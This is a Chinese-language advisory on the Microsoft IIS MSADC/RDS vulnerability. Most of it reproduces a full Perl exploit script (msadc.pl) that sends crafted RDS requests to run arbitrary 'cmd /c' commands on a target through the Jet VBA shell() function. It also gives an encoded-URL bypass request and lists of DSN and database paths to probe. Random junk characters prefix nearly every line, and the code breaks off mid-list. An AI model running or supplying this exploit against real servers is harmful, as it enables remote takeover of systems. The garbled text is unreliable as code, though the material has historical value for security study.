IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{ .i^& V@G|2ZI 涉及程序:
UaXIrBc Microsoft NT server
;\13x][ Y*jkUQ 描述:
NP\/9
8|1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4%yeEc;z R Ee~\n+P^ 详细:
/55 3v;l< 如果你没有时间读详细内容的话,就删除:
=yJc pj c:\Program Files\Common Files\System\Msadc\msadcs.dll
k'"R;^~xg 有关的安全问题就没有了。
W>CG;x{ o<s~455m/ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M_$;"NS+} j~in%|^ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
[p0_I7 关于利用ODBC远程漏洞的描述,请参看:
6m(+X
MS |1!OwQax http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iH)vLD Lrt~Q:z2u 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
j}}as http://www.microsoft.com/security/bulletins/MS99-025faq.asp oO
&%&;[/A %t.\J:WN; 这里不再论述。
e9k$5ps S}/ZHo 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Y)S
f; QUXr#!rPY| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
d_V7w4lK 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
v~dUH0P<>e F CfU=4O W-1Ub |8C #将下面这段保存为txt文件,然后: "perl -x 文件名"
G&N),wsNZK zLS?:yq #!perl
1TN+pmc}@ #
?ZKIs9E[m # MSADC/RDS 'usage' (aka exploit) script
]K5j(1EN #
<&1hJ)O # by rain.forest.puppy
V22Br#+ #
f0{tBD!% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
up?S (.*B # beta test and find errors!
FSZ :}Q y>J6)F
= use Socket; use Getopt::Std;
pug;1UZ getopts("e:vd:h:XR", \%args);
!r*JGv= L_zB/(h print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.,p@ee$q 'A/{7*, if (!defined $args{h} && !defined $args{R}) {
Co<F<eXe print qq~
B]#iZ,Tp Usage: msadc.pl -h <host> { -d <delay> -X -v }
#@M'*X_%}K -h <host> = host you want to scan (ip or domain)
51s 3hX$ -d <seconds> = delay between calls, default 1 second
dlV HyCW -X = dump Index Server path table, if available
TPKm>5g -v = verbose
_(@ezX.p -e = external dictionary file for step 5
b]Lp_t :7qJ[k{g Or a -R will resume a command session
>hotkMX `3 }"^d<dvuz ~; exit;}
~X) 1!Sr K;g6V!U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
b:*(
f#"q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"?
5@j/
e` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-A"0mS8L if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
g3'yqIjQL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>ufN[ab if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
4Z{ r c#[d7t8ONe if (!defined $args{R}){ $ret = &has_msadc;
a&n}pnEn) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
hya
$Vp `=W#owAF print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[k,FJ5X . "cmd /c ";
d6e]aO=g $in=<STDIN>; chomp $in;
LaIH3!M3 $command="cmd /c " . $in ;
GmN~e*x>p n#5 pd;!n if (defined $args{R}) {&load; exit;}
"4QD\k5 `uqsYY`V print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HO8x:2m &try_btcustmr;
kkV*#IZ Z9I
?j1K|! print "\nStep 2: Trying to make our own DSN...";
.|J-(J<>[. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>D$NEO^ ozG!OiRW print "\nStep 3: Trying known DSNs...";
M|'![]- &known_dsn;
B}ASZYpW> rgrsNr:1 print "\nStep 4: Trying known .mdbs...";
9D& 22hL4 &known_mdb;
{F$MZ2 E G c:oSvm if (defined $args{e}){
&G!2T!xx print "\nStep 5: Trying dictionary of DSN names...";
].*I Z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
! lm0zR
^: V6= print "Sorry Charley...maybe next time?\n";
(qy82F-|2 exit;
x4S0C[k l`<u\], ##############################################################################
0o&c8?@j OD1>s6uA7 sub sendraw { # ripped and modded from whisker
\]p[DYBY# sleep($delay); # it's a DoS on the server! At least on mine...
vM/D7YS: my ($pstr)=@_;
@I0[B<,:G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[yfi:|n1 die("Socket problems\n");
qRA,-N if(connect(S,pack "SnA4x8",2,80,$target)){
3l''
select(S); $|=1;
T#G
(&0J5 print $pstr; my @in=<S>;
IWAp select(STDOUT); close(S);
VTJ,;p_UH return @in;
\_zp4Xb2 } else { die("Can't connect...\n"); }}
! ^U!T\qDi ]g0\3A ##############################################################################
\bWo"Yo 8G
p%Q sub make_header { # make the HTTP request
dI9u:- my $msadc=<<EOT
dpcFS0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0RGSv!w User-Agent: ACTIVEDATA
f{u3RCfX~2 Host: $ip
&H@OLyC Content-Length: $clen
d"4J)+q Connection: Keep-Alive
g:>Mooxzi U6R~aRJ; ADCClientVersion:01.06
_,9/g^< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6`hHx=L o;Ma)/P --!ADM!ROX!YOUR!WORLD!
9"mcN3x:\e Content-Type: application/x-varg
3eS
*U`_ Content-Length: $reqlen
#1` lJ ob;$yn7ZO1 EOT
6(.]TEu0 ; $msadc=~s/\n/\r\n/g;
\ HZ]=B#0 return $msadc;}
B<uUf)t H$n{|YO ` ##############################################################################
C@[f Z :%vD
hMHa sub make_req { # make the RDS request
$X:r&7t+Q[ my ($switch, $p1, $p2)=@_;
/tGj`C&qtw my $req=""; my $t1, $t2, $query, $dsn;
ZQPv@6+oY :raYt5n1,y if ($switch==1){ # this is the btcustmr.mdb query
/MQI5Djg $query="Select * from Customers where City=" . make_shell();
LZG~1tf $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#}{1>g{sXt $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
DU%j;`3 6H_7M(f elsif ($switch==2){ # this is general make table query
8'X:}O/ $query="create table AZZ (B int, C varchar(10))";
[>tyx{T Ye $dsn="$p1";}
Yhkn(k2 ^l" elsif ($switch==3){ # this is general exploit table query
{:r8X $query="select * from AZZ where C=" . make_shell();
c'r7sI%Yi $dsn="$p1";}
qdeS*rp\ -P>f2It elsif ($switch==4){ # attempt to hork file info from index server
;F!wyTF>} $query="select path from scope()";
92HxZ*t7km $dsn="Provider=MSIDXS;";}
a\m@I_r.N Vr=c06a2 elsif ($switch==5){ # bad query
w$5#jJX\ $query="select";
;^j2>Azn $dsn="$p1";}
w;p!~o & g0BJj= $t1= make_unicode($query);
K 6Gri>Um $t2= make_unicode($dsn);
tu6Q7CjW8 $req = "\x02\x00\x03\x00";
'YcoF;&[C $req.= "\x08\x00" . pack ("S1", length($t1));
h (`Erb $req.= "\x00\x00" . $t1 ;
{|~22UkF[V $req.= "\x08\x00" . pack ("S1", length($t2));
^"!j m $req.= "\x00\x00" . $t2 ;
Jj$N3UCg7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
aN5 w return $req;}
qs]7S^yw ITu6m<V ##############################################################################
iX{Lc+u3 @Gj|X>0 sub make_shell { # this makes the shell() statement
k*8
ld-O return "'|shell(\"$command\")|'";}
8[|RsM Q'~2,%3< ##############################################################################
$0MP*TFWa /Af:{|'$% sub make_unicode { # quick little function to convert to unicode
{u}Lhv my ($in)=@_; my $out;
*y;(c)_w/% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
J \@yP return $out;}
'}D$"2I* ~fE6g3 ##############################################################################
j'V# =vH V.RG=TVS sub rdo_success { # checks for RDO return success (this is kludge)
*@|EaH/ my (@in) = @_; my $base=content_start(@in);
il \q{Y
o if($in[$base]=~/multipart\/mixed/){
JZ5NQ)sX return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4$=Dq$4z return 0;}
xYJ|G=h&A gt9{u"o ##############################################################################
(\ze
T5 0"~`U.k~M sub make_dsn { # this makes a DSN for us
h] (BTb#- my @drives=("c","d","e","f");
tnbtfG;z# print "\nMaking DSN: ";
szY=N7\S* foreach $drive (@drives) {
KMxP%dV/= print "$drive: ";
Sn\S`D my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
pm-SDp>s "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
wsyG~^> . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
l;I)$=={= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
`JGV3nN return 0 if $2 eq "404"; # not found/doesn't exist
I$o^F/RH if($2 eq "200") {
6]%79?'A foreach $line (@results) {
:RsO$@0G return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W?a2P6mAh } return 0;}
y;+5cn C 8#gS{ ##############################################################################
*uAsKU /-ebx~FX& sub verify_exists {
m]yt6b4 my ($page)=@_;
Y~qv 0O6K my @results=sendraw("GET $page HTTP/1.0\n\n");
. mDh9V5 return $results[0];}
_R!KHi x<'(b7{U0 ##############################################################################
:wJ=t/ho $td=h)S^` sub try_btcustmr {
18|i{fE; my @drives=("c","d","e","f");
;* vVucx my @dirs=("winnt","winnt35","winnt351","win","windows");
zDbjWd F)we^'X foreach $dir (@dirs) {
6t0!a@t print "$dir -> "; # fun status so you can see progress
%-y%Q.;k? foreach $drive (@drives) {
%ec9`0^4S print "$drive: "; # ditto
'E2\e!U/ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"5]Fl8c?
$reqlenlen=length( "$reqlen" );
W|K"0ab $clen= 206 + $reqlenlen + $reqlen;
:/N/u5.] &C eG4_Mi my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7q&//*%yF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9]AiaV9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
biCX:m+_? 3Zm'09A-. ##############################################################################
-_bHLoI 6~KtT{MYQ sub odbc_error {
ceakTAB[ my (@in)=@_; my $base;
%[:\ZwT,- my $base = content_start(@in);
M
<oy if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
({#9gTP2b $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xkIRI1*! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x.r OP_rs $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(R_#lRaQ return $in[$base+4].$in[$base+5].$in[$base+6];}
[C
PgfVz print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
H[ 6L! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
tn-_3C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m_Owe/BC#m IL?mt2I Q> ##############################################################################
\#P>k;D <#U9ih
2 sub verbose {
sh []OSM my ($in)=@_;
`C~RA,M return if !$verbose;
.z/M ( print STDOUT "\n$in\n";}
WPBn?vb0< HS{a^c% ##############################################################################
W]!{Y'G re9*q
sub save {
Q:I2\E my ($p1, $p2, $p3, $p4)=@_;
{shf\pm!o open(OUT, ">rds.save") || print "Problem saving parameters...\n";
X<\y%2B|l print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4\)"Ih close OUT;}
2s{PE Wq_#46P- ##############################################################################
S^,1N4 I#0WN sub load {
W+3ZuAP\n my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,Vz
1l_7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
MHN?ZHC) @p=<IN>; close(IN);
74VN3m $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3[kY:5- $target= inet_aton($ip) || die("inet_aton problems");
Mp=2}d%P print "Resuming to $ip ...";
k0IW,z% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Z$R6'EUb1 if($p[1]==1) {
y2k'^zE $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
jU2Dpxkt $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%Gp%l my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Jz D
Mx? if (rdo_success(@results)){print "Success!\n";}
W:q79u yX else { print "failed\n"; verbose(odbc_error(@results));}}
5t]}(.0+ elsif ($p[1]==3){
+TW9BU'a^ if(run_query("$p[3]")){
ta]B9&c print "Success!\n";} else { print "failed\n"; }}
SVsLu2tVY elsif ($p[1]==4){
%"GF+ if(run_query($drvst . "$p[3]")){
t0_o.S print "Success!\n"; } else { print "failed\n"; }}
rQ|^HNj exit;}
kCkSu- NvH9?Ek" ##############################################################################
m1x7f%_
,lX5-1H sub create_table {
VuqN)CE^Uq my ($in)=@_;
m9bR
%j $reqlen=length( make_req(2,$in,"") ) - 28;
/C(lQs*l $reqlenlen=length( "$reqlen" );
Wx#((T $clen= 206 + $reqlenlen + $reqlen;
:TU;%@7 my @results=sendraw(make_header() . make_req(2,$in,""));
%M{qr!?uj return 1 if rdo_success(@results);
z -|gw.y my $temp= odbc_error(@results); verbose($temp);
pKDP1S#< return 1 if $temp=~/Table 'AZZ' already exists/;
8Xpf|?. return 0;}
K8NoY6 u"IYAyzL ##############################################################################
j.Ro(0% %VG;vW\V sub known_dsn {
d (Ufj|; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
85;
BS' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
' uvTOgP, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Rd6? , "banner", "banners", "ads", "ADCDemo", "ADCTest");
J2cqnwUV Wz)O,X^ foreach $dSn (@dsns) {
0yW#).D^b print ".";
n:JWu0,h next if (!is_access("DSN=$dSn"));
cW B> if(create_table("DSN=$dSn")){
$0WO
4C%M print "$dSn successful\n";
68ce+| if(run_query("DSN=$dSn")){
TWF6YAQm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RAMkTS print "Something's borked. Use verbose next time\n";}}} print "\n";}
x)eYqH~i ,KvF:xqA ##############################################################################
Uc,D&Og 6^U8Utx sub is_access {
_DPWp,k<~ my ($in)=@_;
ylm*a74-X $reqlen=length( make_req(5,$in,"") ) - 28;
l` 9<mL $reqlenlen=length( "$reqlen" );
YXE?b@W" $clen= 206 + $reqlenlen + $reqlen;
X`km\\* my @results=sendraw(make_header() . make_req(5,$in,""));
lz>YjK: my $temp= odbc_error(@results);
f49pIcAq verbose($temp); return 1 if ($temp=~/Microsoft Access/);
6?y<F4
return 0;}
qzk/P1{- lSv?!2 ##############################################################################
OiI[w8 #<ppiu$ sub run_query {
*Ag</g@ h my ($in)=@_;
~(E.$y7P $reqlen=length( make_req(3,$in,"") ) - 28;
}{>)2S $reqlenlen=length( "$reqlen" );
j8p</gd $clen= 206 + $reqlenlen + $reqlen;
nn>1OO my @results=sendraw(make_header() . make_req(3,$in,""));
""cnZZ5) return 1 if rdo_success(@results);
4yhan/zA my $temp= odbc_error(@results); verbose($temp);
^LfN6{ return 0;}
H/8H`9S$ <CrNDY ##############################################################################
ACQc
0:q mQ 1) d5 sub known_mdb {
*`~
woF my @drives=("c","d","e","f","g");
dQUZ11 my @dirs=("winnt","winnt35","winnt351","win","windows");
X0<qG my $dir, $drive, $mdb;
P:GAJ->;]> my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*^j'G^n R `}C/'Ty # this is sparse, because I don't know of many
[J0f:&7\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
nY(>|! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
F?!P7 zW "\\system32\\certmdb.mdb",
yWI30hW "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
!u@XEN>/ KU,KEtf my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
v{%x,K56 "\\cfusion\\cfapps\\forums\\forums_.mdb",
qYD$_a "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
}Ruj h4* "\\cfusion\\cfapps\\security\\realm_.mdb",
z~[:@mGl "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4 .7YIM "\\cfusion\\database\\cfexamples.mdb",
npsDy&